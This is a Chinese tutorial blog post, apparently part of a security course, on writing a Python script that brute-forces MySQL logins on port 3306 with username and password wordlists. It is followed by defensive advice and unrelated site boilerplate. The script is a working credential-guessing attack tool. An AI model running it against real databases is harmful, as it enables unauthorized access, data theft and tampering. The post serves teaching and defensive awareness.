Python 渗透测试:MySQL 数据库 弱密码测试.(3306 端口)

什么是 MySQL 数据库

MySQL 是一种开源的关系型数据库管理系统(RDBMS)。它是目前世界上最流行的数据库之一,被广泛应用于各种类型的网站和应用程序中。MySQL 数据库爆破是一种非法和危险的黑客攻击手段。它指的是通过暴力猜测密码的方式,试图获取未授权访问 MySQL 数据库的行为。


目录:

什么是 MySQL 数据库

Python 编写渗透测试基础:

具体来说,MySQL 数据库爆破通常包括以下步骤:

MySQL 数据库爆破:

(1)基本知识:(连接服务端数据库.)

(2)进行 MySQL 数据库爆破.

以下是一些有效的MySQL数据库防御方法:


Python 编写渗透测试基础:

(1)漏洞发现和利用走的是什么协议.(2)编写难度是根据协议和探针利用复现复杂程度决定的.例如:mysql类型的漏洞复现漏洞 大部分都是在mysql里面进行python写这个漏洞利用 是不是也要用到mysql的库来进行连接 后续操作 复现一致

具体来说,MySQL 数据库爆破通常包括以下步骤:

(1)收集目标 MySQL 数据库的信息,如 IP 地址、端口号、用户名等。(2)使用自动化工具或脚本,尝试大量的常见密码组合,以猜测出正确的密码。(3)一旦猜中密码,就可以非法登录目标数据库,窃取或篡改数据。

MySQL 数据库爆破:

(1)基本知识:(连接服务端数据库.)

import pymysql          # 导入模块conn_obj = pymysql.connect(             # 连接服务端数据库.host="127.0.0.1",                    # MySQL 服务端的IP地址.port=3306,                          # MySQL 默认 端口号.(如果不是这个端口号,则需要改)user="root",                        # 用户名password="123456",                  # 密码database="mysql",                   # 数据库名称:默认为 MySQLcharset="utf8"                      # 字符编码
)


(2)进行 MySQL 数据库爆破.

import pymysql,os          # 导入模块def mysql_check(ip,username,password):      #  函数的定义,这个函数接受 3 个参数:print("check->" + ip + "|" + username + "|" + password)         # 打印 爆破的过程信息.try:                                    #  如果连接成功.conn_obj = pymysql.connect(             # 连接服务端数据库.host=ip,                            # MySQL 服务端的IP地址.port=3306,                          # MySQL 默认 PORT 地址(端口号)user=username,                      # 用户名password=password,                  # 密码database="mysql",                   # MySQL 数据库 默认为 MySQL charset="utf8"                      # 字符编码)print("连接成功.")exit()                 # 成功之后退出.except Exception as e:                  # 如果连接失败pass                                # 直接跳出.if __name__ == "__main__":ip = input ("请输入你的 IP 地址:")for username in open ('C:\\Users\\xiaoyu\\Desktop\\python\\username_mysql.txt'):  # 读取这个文件username = username.replace("\n","")           # 对于每一行,它会去掉行末的换行符 "\n",并将其替换为空格 ""(里面不要加空格)for password in open ("C:\\Users\\xiaoyu\\Desktop\\python\\password_mysql.txt"):password = password.replace("\n","")       # (里面不要加空格)mysql_check(ip,username,password)           # 传递了三个参数,上面对接.


以下是一些有效的MySQL数据库防御方法:

(1)设置强密码:确保数据库账号使用复杂、难猜的密码,并定期更换密码。(2)限制访问权限:仅授予必要的用户最小权限,减少可能被利用的攻击面。(3)开启日志记录:记录数据库的访问和操作情况,有利于事后排查和分析。(4)及时修复漏洞:保持数据库软件和组件的最新版本,及时修复已知的安全漏洞。(5)使用防火墙:部署网络防火墙,限制数据库服务器的对外访问。(6)加强监控:使用安全监控工具,及时发现和阻止可疑的登录尝试。(7)定期备份:定期备份数据库,以便在发生安全事故时能够快速恢复。

    

    

    

学习连接:第159天:安全开发-Python-协议库爆破&FTP&SSH&Redis&SMTP&MYSQL等_哔哩哔哩_bilibili

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/13688.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【qt】下拉列表组件

下拉列表组件 一.Combo Box1.可以直接双击编辑下拉内容2.代码初始化下拉内容3.一次性添加多个下拉内容4.下拉框手动编辑5.下拉内容添加附加值6.下拉添加图标7.获取下拉值 二.总结 一.Combo Box 还是老样子,咱们边做边练 目标图: 1.可以直接双击编辑下…

存储+调优:存储-Cloud

存储调优:存储-Cloud Master Server 配置: IP192.168.1.254 useradd mfs tar zxf mfs-1.6.11.tar.gz.gz cd mfs-1.6.11 ./configure --prefix/usr --sysconfdir/etc --localstatedir/var/lib --with-default-usermfs --with-default-groupmfs --disabl…

掌握一个面试小心机,就业离你只差这一步!

马上进6月份,大家是已经在工作岗位上了,还是正在面试呀!不知道大家在面试过程中有没有遇到这样的问题,面试完几家公司之后进行总结,还是不知道自己为什么被pass掉,今天小编带大家搞清测试岗位面试的底层逻辑…

成为领导心腹:测试新人如何提高影响力?

作为一名新入行的测试人员,如何提高自己在工作中的影响力呢? 可能有人会问了:“测试人员不是只要安分守己的做好自己的测试工作不就行了吗?又不是当管理者,为什么要提高影响力呢?” 说实话,我…

【C++】学习笔记——二叉搜索树

文章目录 十四、二叉搜索树1. 二叉搜索树的概念2. 二叉搜索树的实现查找插入中序遍历删除拷贝构造析构函数赋值重载完整代码 3. 二叉搜索树的应用K搜索模型KV搜索模型 未完待续 十四、二叉搜索树 1. 二叉搜索树的概念 二叉搜索树又称二叉排序树,它或者是一棵空树&…

同旺科技 FLUKE ADPT 隔离版发布 ---- 2

所需设备: 1、FLUKE ADPT 隔离版 内附链接; 应用于:福禄克Fluke 12E / 15BMax / 17B Max / 101 / 106 / 107 应用于:福禄克Fluke 15B / 17B / 18B 正面: 反面: 侧面: 开孔位置(可…

面试八股之MySQL篇4——事务篇

🌈hello,你好鸭,我是Ethan,一名不断学习的码农,很高兴你能来阅读。 ✔️目前博客主要更新Java系列、项目案例、计算机必学四件套等。 🏃人生之义,在于追求,不在成败,勤通…

react组件中的共享数据

在前面的示例中,每个 MyButton 都有自己独立的 count,当每个按钮被点击时,只有被点击按钮的 count 才会发生改变: 然而,你经常需要组件 共享数据并一起更新。 为了使得 MyButton 组件显示相同的 count 并一起更新&…

四川邮电职院领导访知了汇智,深化AI专业教育与行业对接

5月16日,四川邮电职业技术学院信息工程学院软件教研室的领导团队莅临我司,就人工智能专业建设进行深入的交流与学习。我司总经理、副总经理等高层领导亲自接待,对学院领导一行的到来表示了热烈的欢迎,并全程陪同参观了公司的核心区…

【技术实操】中标麒麟高级服务器操作系统实例分享,rsync数据同步配置方案

1.rsync介绍 rsync是一款开源的、快速的、多功能的、可实现全量及增量的本地或远程数据同步备份工具。 在守护进程模式(daemon mode)下,rsync默认监听TCP端口873,以原生rsync传输协议或者通过远程shell如RSH或者SSH提供文件。SS…

基于BERT的中文情感分析实战

数据与代码链接见文末 bert开源项目解读:谷歌开源项目BERT源码解读与应用实例-CSDN博客 基于BERT的中文命名实体识别识别实战:基于BERT的中文命名实体识别识别实战-CSDN博客 1.数据 在data目录下,提供了中文情感分析的数据, 类别1代表正向情感,类别2代表负向情感。

金融信贷风控基础知识

一、所谓风控(What && Why) 所谓风控,可以拆解从2个方面看,即 风险和控制 风险(what) 风险 这里狭隘的特指互联网产品中存在的风险点,例如 账户风险 垃圾注册账号账号被泄露盗用 交易支付风险 刷单:为提升卖家店铺人气…

DETR原理分析

TransformerDetection:引入视觉领域的首创DETR 论文名称:End-to-End Object Detection with Transformers 论文地址:https://arxiv.org/abs/2005.12872 重要的图要经常出现,下图就是: DETR原理分析 网络架构部分解读…

UNI-APP设置屏幕保持常亮-不熄灭屏幕

前言 最近在实际开发过程中,我们会发现在自己使用的app当中会根据系统无操作熄灭屏幕对于一下需要长时间保持屏幕的业务就很不友好,uni-app也是提供了相应方法加上代码之后-注意app端没报错-不生效就是权限问题-需要设置相对应权限-打自定义包 代码实现…

【BSP开发经验】用户态栈回溯技术

前言 在内核中有一个非常好用的函数dump_stack, 该函数在我们调试内核的过程中可以打印出函数调用关系,该函数可以帮助我们进行内核调试,以及让我们了解内核的调用关系。同时当内核发生崩溃的时候就会自己将自己的调用栈输出到串口。 栈回溯非常有利于我…

溪谷联运SDK功能全面解析

近期,备受用户关注的手游联运10.0.0版本上线了,不少用户也选择了版本更新,其中也再次迎来了SDK的更新。溪谷软件和大家一起盘点一下溪谷SDK的功能都有哪些吧。 一、溪谷SDK具有完整的运营功能和高度扩展性 1.登录:登录是SDK最基础…

物体检测算法-R-CNN,SSD,YOLO

物体检测算法-R-CNN,SSD,YOLO 1 R-CNN2 SSD3 Yolo总结 1 R-CNN R-CNN(Region-based Convolutional Neural Network)是一种基于区域的卷积神经网络,是第一个成功将深度学习应用到目标检测上的算法。它主要由三个步骤组…

LeetCode 131题详解:高效分割回文串的递归与动态规划方法

❤️❤️❤️ 欢迎来到我的博客。希望您能在这里找到既有价值又有趣的内容,和我一起探索、学习和成长。欢迎评论区畅所欲言、享受知识的乐趣! 推荐:数据分析螺丝钉的首页 格物致知 终身学习 期待您的关注 导航: LeetCode解锁100…

关于如何创建一个可配置的 SpringBoot Web 项目的全局异常处理

前情概要 这个问题其实困扰了我一周时间,一周都在 Google 上旅游,我要如何动态的设置 RestControllerAdvice 里面的 basePackages 以及 baseClasses 的值呢?经过一周的时间寻求无果之后打算决定放弃的我终于找到了一些关键的线索。 当然在此…

为什么我用save保存更新,数据库不更新,反而新增一条

今天发现一个奇怪的问题: 为什么我用save保存更新的数据后,数据库不更新,但是增加了一条空数据,我的前台也把数据用json传上去了,也成功了,但是数据库没有更新相应行的数据,而是新增了一条数据&…